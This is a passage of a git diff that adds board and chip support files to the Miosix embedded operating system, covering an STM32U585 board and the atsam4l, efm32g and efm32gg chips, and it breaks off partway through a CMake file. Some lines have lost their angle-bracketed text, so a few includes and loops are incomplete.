a/miosix/arch/board/stm32u585ci_generic/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32u585ci_generic/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..aa5121a3d --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,18 @@ +#pragma once + +#define STM32U585xx +#include "CMSIS/Device/ST/STM32U5xx/Include/stm32u5xx.h" +#include "CMSIS/Include/core_cm33.h" +#include "CMSIS/Device/ST/STM32U5xx/Include/system_stm32u5xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the RCC +//after modifying peripheral clocks/resets. It should be defined to a no-op on +//architectures without bus access reordering, and to a __DSB() on all other +//ARM architectures. The DMB is required for example in stm32f42x +//microcontrollers. Note that reordering does not necessarily happen at the +//CPU level alone, the bus matrices and peripherals themselves may also reorder +//accesses as a side-effect of how they work. +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 125, so there are 126 +#define MIOSIX_NUM_PERIPHERAL_IRQ 126 diff --git a/miosix/arch/board/stm32u585ci_generic/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32u585ci_generic/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..24cf807f1 --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/interfaces-impl/bsp.cpp @@ -0,0 +1,130 @@ +/*************************************************************************** + * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2026 Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces_private/bsp_private.h" +#include "interfaces/poweroff.h" +#include "filesystem/file_access.h" +#include "interfaces/serial.h" +#include "drivers/dcc.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + SystemCoreClockUpdate(); + //Enable all gpios + RCC->AHB2ENR1 |= RCC_AHB2ENR1_GPIOAEN | RCC_AHB2ENR1_GPIOBEN | + RCC_AHB2ENR1_GPIOCEN | RCC_AHB2ENR1_GPIODEN | + RCC_AHB2ENR1_GPIOHEN; + + RCC->AHB2ENR1 |= RCC_AHB2ENR1_SRAM2EN + | RCC_AHB2ENR1_SRAM3EN; + + RCC->APB3ENR |= RCC_APB3ENR_SYSCFGEN; + + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + + // Initialize default serial + IRQsetDefaultConsole(intrusive_ref_ptr( + #ifndef STDOUT_REDIRECTED_TO_DCC + STM32SerialBase::get( + defaultSerial, defaultSerialSpeed, defaultSerialFlowctrl, + defaultSerialDma) + #else //STDOUT_REDIRECTED_TO_DCC + new ARMDCC + #endif //STDOUT_REDIRECTED_TO_DCC + )); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(intrusive_ref_ptr()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +};//namespace miosix diff --git a/miosix/arch/board/stm32u585ci_generic/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32u585ci_generic/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..21d2d9e31 --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/interfaces-impl/bsp_impl.h @@ -0,0 +1,58 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +inline void ledOn() {} +inline void ledOff() {} + +/** + * Polls the SD card sense GPIO + * \return true if there is an uSD card in the socket. + */ +// inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/stm32u585ci_generic/openocd.cfg b/miosix/arch/board/stm32u585ci_generic/openocd.cfg new file mode 100644 index 000000000..f5f64c854 --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/openocd.cfg @@ -0,0 +1,11 @@ +# +# OpenOCD configuration file for in-circuit debugging of stm32 +# + +source [find interface/stlink.cfg] + +transport select hla_swd + +source [find target/stm32u5x.cfg] + +reset_config srst_only diff --git a/miosix/arch/board/stm32u585ci_generic/processes.ld b/miosix/arch/board/stm32u585ci_generic/processes.ld new file mode 100644 index 000000000..a07cfd612 --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/processes.ld @@ -0,0 +1,17 @@ +/* + * Linker script for STM32U585 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +_process_pool_size = 640K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 768K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32u585ci_generic/unikernel.ld b/miosix/arch/board/stm32u585ci_generic/unikernel.ld new file mode 100644 index 000000000..fed254138 --- /dev/null +++ b/miosix/arch/board/stm32u585ci_generic/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for STM32U585 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram(wx) : ORIGIN = 0x20000000, LENGTH = 768K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/chip/atsam4l/CMakeLists.txt b/miosix/arch/chip/atsam4l/CMakeLists.txt new file mode 100644 index 000000000..247f683a8 --- /dev/null +++ b/miosix/arch/chip/atsam4l/CMakeLists.txt @@ -0,0 +1,31 @@ +## +## CMakeLists.txt for chip atsam4l +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m4 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_ATSAM4L) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_ATSAM4L) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/atsam4l_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/atsam4l_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/clock/atsam4l_clock.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/atsam4l_lcd.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/atsam4l_gpio.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp +) diff --git a/miosix/arch/chip/atsam4l/Makefile.inc b/miosix/arch/chip/atsam4l/Makefile.inc new file mode 100644 index 000000000..5be91dbdc --- /dev/null +++ b/miosix/arch/chip/atsam4l/Makefile.inc @@ -0,0 +1,32 @@ +## +## Makefile for chip atsam4l +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m4 -mthumb +CHIP_CFLAGS := -D_CHIP_ATSAM4L +CHIP_CXXFLAGS := -D_CHIP_ATSAM4L + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/atsam4l_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/serial/atsam4l_serial.cpp \ +arch/drivers/clock/atsam4l_clock.cpp \ +arch/drivers/atsam4l_lcd.cpp \ +$(CHIP_INC)/interfaces-impl/sleep.cpp \ +arch/drivers/gpio/atsam4l_gpio.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp diff --git a/miosix/arch/chip/atsam4l/interfaces-impl/cache_impl.h b/miosix/arch/chip/atsam4l/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/atsam4l/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/atsam4l/interfaces-impl/delays.cpp b/miosix/arch/chip/atsam4l/interfaces-impl/delays.cpp new file mode 100644 index 000000000..deffe7df1 --- /dev/null +++ b/miosix/arch/chip/atsam4l/interfaces-impl/delays.cpp @@ -0,0 +1,77 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "board_settings.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + const unsigned int count = cpuFrequency / 4000; + + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/atsam4l_gpio.h" diff --git a/miosix/arch/chip/atsam4l/interfaces-impl/poweroff.cpp b/miosix/arch/chip/atsam4l/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/atsam4l/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/atsam4l/interfaces-impl/serial_impl.h b/miosix/arch/chip/atsam4l/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..be69b1985 --- /dev/null +++ b/miosix/arch/chip/atsam4l/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/atsam4l_serial.h" diff --git a/miosix/arch/chip/atsam4l/interfaces-impl/sleep.cpp b/miosix/arch/chip/atsam4l/interfaces-impl/sleep.cpp new file mode 100644 index 000000000..b2abc1002 --- /dev/null +++ b/miosix/arch/chip/atsam4l/interfaces-impl/sleep.cpp @@ -0,0 +1,75 @@ +/*************************************************************************** + * Copyright (C) 2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "miosix.h" +#include "interfaces_private/sleep.h" + +#ifdef WITH_DEEP_SLEEP + +#ifndef WITH_RTC_AS_OS_TIMER +#error For atsam4l target, WITH_DEEP_SLEEP requires WITH_RTC_AS_OS_TIMER +#endif //WITH_RTC_AS_OS_TIMER + +using namespace std; + +namespace miosix { + +void IRQdeepSleepInit() {} + +bool IRQdeepSleep(long long int abstime) +{ + /* + * NOTE: The simplest way to support deep sleep is to use the RTC as the + * OS timer. By doing so, there is no need to set the RTC wakeup time + * whenever we enter deep sleep, as the scheduler already does, and there + * is also no need to resynchronize the OS timer to the RTC because the + * OS timer doesn't stop counting while we are in deep sleep. + * The only disadvantage on this platform is that the OS timer resolution is + * rather coarse, 1/16384Hz is ~61us, but this is good enough for many use + * cases. + * + * This is why this code ignores the wakeup absolute time parameter, and the + * only task is to write the proper sequence to enter the deep sleep state + * instead of the sleep state. + */ + return IRQdeepSleep(); +} + +bool IRQdeepSleep() +{ + SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select wait mode + __WFI(); + SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; //Unselect wait mode + //The only core clock option we support is the internal RC oscillator and + //the atsam microcontroller preserve its configuration across deep sleep + //so there's no need to restore clocks upn wakeup + return true; +} + +} //namespace miosix + +#endif //WITH_DEEP_SLEEP diff --git a/miosix/arch/chip/efm32g/CMakeLists.txt b/miosix/arch/chip/efm32g/CMakeLists.txt new file mode 100644 index 000000000..082f9c5fa --- /dev/null +++ b/miosix/arch/chip/efm32g/CMakeLists.txt @@ -0,0 +1,29 @@ +## +## CMakeLists.txt for chip efm32g +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m3 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_EFM32G) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_EFM32G) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/efm32_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/efm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/efm32_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/efm32_adc.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp +) diff --git a/miosix/arch/chip/efm32g/Makefile.inc b/miosix/arch/chip/efm32g/Makefile.inc new file mode 100644 index 000000000..28e5ef24b --- /dev/null +++ b/miosix/arch/chip/efm32g/Makefile.inc @@ -0,0 +1,30 @@ +## +## Makefile for chip efm32g +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m3 -mthumb +CHIP_CFLAGS := -D_CHIP_EFM32G +CHIP_CXXFLAGS := -D_CHIP_EFM32G + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/efm32_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/efm32_gpio.cpp \ +arch/drivers/serial/efm32_serial.cpp \ +arch/drivers/efm32_adc.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp diff --git a/miosix/arch/chip/efm32g/interfaces-impl/cache_impl.h b/miosix/arch/chip/efm32g/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/efm32g/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/efm32g/interfaces-impl/delays.cpp b/miosix/arch/chip/efm32g/interfaces-impl/delays.cpp new file mode 100644 index 000000000..a6568d6a3 --- /dev/null +++ b/miosix/arch/chip/efm32g/interfaces-impl/delays.cpp @@ -0,0 +1,60 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/delays.h" +#include "miosix_settings.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + const unsigned int count=cpuFrequency/4000; + + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/efm32_gpio.h" diff --git a/miosix/arch/chip/efm32g/interfaces-impl/poweroff.cpp b/miosix/arch/chip/efm32g/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/efm32g/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/efm32g/interfaces-impl/serial_impl.h b/miosix/arch/chip/efm32g/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..13aeca303 --- /dev/null +++ b/miosix/arch/chip/efm32g/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/efm32_serial.h" diff --git a/miosix/arch/chip/efm32gg/CMakeLists.txt b/miosix/arch/chip/efm32gg/CMakeLists.txt new file mode 100644 index 000000000..4c06d195c --- /dev/null +++ b/miosix/arch/chip/efm32gg/CMakeLists.txt @@ -0,0 +1,28 @@ +## +## CMakeLists.txt for chip efm32gg +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m3 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_EFM32GG) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_EFM32GG) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/efm32_gpio.cpp + 